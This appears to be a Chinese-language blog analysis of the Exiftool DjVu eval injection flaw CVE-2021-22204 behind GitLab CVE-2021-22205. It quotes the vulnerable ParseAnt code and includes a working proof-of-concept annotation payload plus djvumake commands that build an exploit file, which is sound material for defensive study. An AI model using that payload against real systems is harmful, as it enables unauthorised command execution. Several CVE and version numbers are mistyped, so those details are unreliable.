漏洞信息

近日,互联网披露Gitlab存在远程命令执行漏洞,编号为CVE-2021-22205,可在未授权条件下直接获取控制权。影响范围如下:

  • 11.9 <= GitLab(CE/EE)< 13.8.8
  • 13.9 <= GitLab(CE/EE)< 13.9.6
  • 13.10 <= GitLab(CE/EE)< 13.10.3

通过深入分析发现该漏洞源于Exiftool自身的另一个漏洞CVE-2021-22204。下面计划采用2篇文章完成整个漏洞分析:

  1. Exiftool CVE-2021-22004 RCE漏洞分析
  2. Gitlab CVE-2021-22005 从认证后RCE提升到未授权RCE

今天先分析下CVE-2021-22204。

补丁对比

Exiftool CVE-2021-22004影响v7.44以前的版本,漏洞信息如下:


Gitlab v13.10.2版本使用的Exiftool版本为11.70,正好在漏洞范围之内,实际上CVE-2021-22204是在测试GitLab问题时被挖掘出来的。

根据commit信息,Exiftool在v12.4版本中修补了DjVu reader漏洞。

在commit中搜索`eval`等PERL危险函数,`lib/Image/Exiftool/DjVu.pm`删除了`eval`函数调用。

Exiftool解析规则

调用的函数为`ParseAnt`。

注意到注释里的Djvu字符串,查阅资料可知DjVu是由AT&T实验室自1996年起开发的一种图像压缩技术,已发展成为标准的图像文档格式之一,可替代PDF成为网络传输扫描文档、数码照片、图像文件的主流技术。主流Linux发行版都有djvu的查看和编辑工具,centos可通过`yum install djvulibre`安装,ubuntu则为`sudo apt install djvulibre-bin`。而`djvulibre`工具中,`djvumake`命令可根据模板编译,参考如下:

djvumake
http://djvu.sourceforge.net/doc/man/djvumake.html

全文搜索代码,并没有找到ParseAnt的调用,但是可以在`/Exiftool/Exiftool/12.23/t/images/DjVu.djvu`中找到合法的格式,而且包含`ANTz`字段,与`Duvj.pm`文件中`%Image::Exiftool::DjVu::Main`函数正好对应,同时通过`ANTa`和`ANTz`的定义猜测其分别是ASCII格式和BZZ加密格式。

通过比较不难发现,`JDVIANTz`后边跟的数据为`\x00\x00`+2字节长度+数据。

yum install perl-CPANperl Makefile.PLmakemake install

使用编译后的Exiftool解析`/Exiftool/Exiftool/12.23/t/images/DjVu.djvu`样例文件,获得到的变量如下:

(metadata        (Author "Phil Harvey")        (Title "DjVu Metadata Sample")        (Subject "Exiftool DjVu test image")        (Creator "Exiftool")        (CreationDate "2008-09-23T12:31:34-04:00")        (ModDate "2008-11-11T09:17:10-05:00")        (Keywords "Exiftool, Test, DjVu, XMP")        (Producer "djvused")        (note "Must escape double quotes (\") and backslashes (\\)")        (Trapped "Unknown")        (annote "Did you get this?")        (url "https://Exiftool.org/") )(xmp ")

安装`djvulibre`工具后,正好有bzz压缩命令。自行构造文件,然后进行数据压缩。

利用bzz压缩后的数据拷贝到原有的duvj文件中,可以正常解析metadata,这里就已经找到了构造合法duvj文件的方法。

漏洞定位

接下来就是定位漏洞原因了,主要是`ParseAnt`函数。

  • 函数主要为读取Metadata内容进行循环解析
  • 从每一个形如`(Author "Phil Harvey")`的数据中提取tok,及`Author`的值
sub ParseAnt($){    my $dataPt = shift;    my (@toks, $tok, $more);Tok: for (;;) { # 1. 循环处理传入字符串        last unless $$dataPt =~ /(\S)/sg;        if ($1 eq '(') {  # 2. 使用括号分割处理每一个字段            $tok = ParseAnt($dataPt);        } elsif ($1 eq ')') {            $more = 1;            last;        } elsif ($1 eq '"') {  # 3. 当遇到双引号时,继续进行内容处理            $tok = '';            for (;;) {  # 4. 处理匹配/"/sg正则表达式                my $pos = pos($$dataPt);                last Tok unless $$dataPt =~ /"/sg; # 4. s表示匹配任意字符,包括换行;g表示匹配多次,处理有多个"的情况                $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);  # 5. 提取tok                last unless $tok =~ /(\\+)$/ and length($1) & 0x01;  # 6. 提取tok,注意这里没有加上s参数。                $tok .= '"';    # quote is part of the string            }            $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;  # 7. 去除$、@字符            # convert C escape sequences (allowed in quoted text)            $tok = eval qq{"$tok"}; # 8. 执行eval语句        }    }    ......}

(8)中执行`eval`语句需要闭合双引号;(4)中正则匹配添加了`/s`参数来处理换行的情形,而(6)却没有;(6)中正则的目的是检查当前子字符串是否以奇数个反斜杠结尾。如果是,则假定它刚刚找到的引用已正确转义,并且应该是元数据的一部分。

问题的原因是:当引号前的最后两个字符是反斜杠和换行符时,此逻辑就会失效。(6)的正则表达式在解析`\`时会认为它匹配了`\`,这会导致双引号包含在子字符串中,那么下一行中的第一个双引号就会被当做字符串中的内容。当输入如下表达式时,`" . return ~id~; #"`字符串会被传入(8)中,实现了双引号闭合。

# raw(metadata    (Author "\" . return `id`; #"))

封装到Djvu文件中,成功执行了系统命令,顺便修改了代码附上各步骤执行后的结果,以便大家观察。

补充说明

其实CVE-2021-22204漏洞的利用上半年就已放出,所以CVE-2021-22205漏洞在野攻击时间也应该很长了,另一种简单的生成方式是使用`djvumake`编译,方法如下:

$ bzz payload payload.bzz$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

上面对Gitlab CVE-2021-22205漏洞的起源Exiftool CVE-2021-22004原理进行了详细分析,下一篇我们将基于上面的基础,完成整个漏洞原理分析。

参考

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22204

https://github.com/Exiftool/Exiftool

http://djvu.sourceforge.net/doc/man/djvumake.html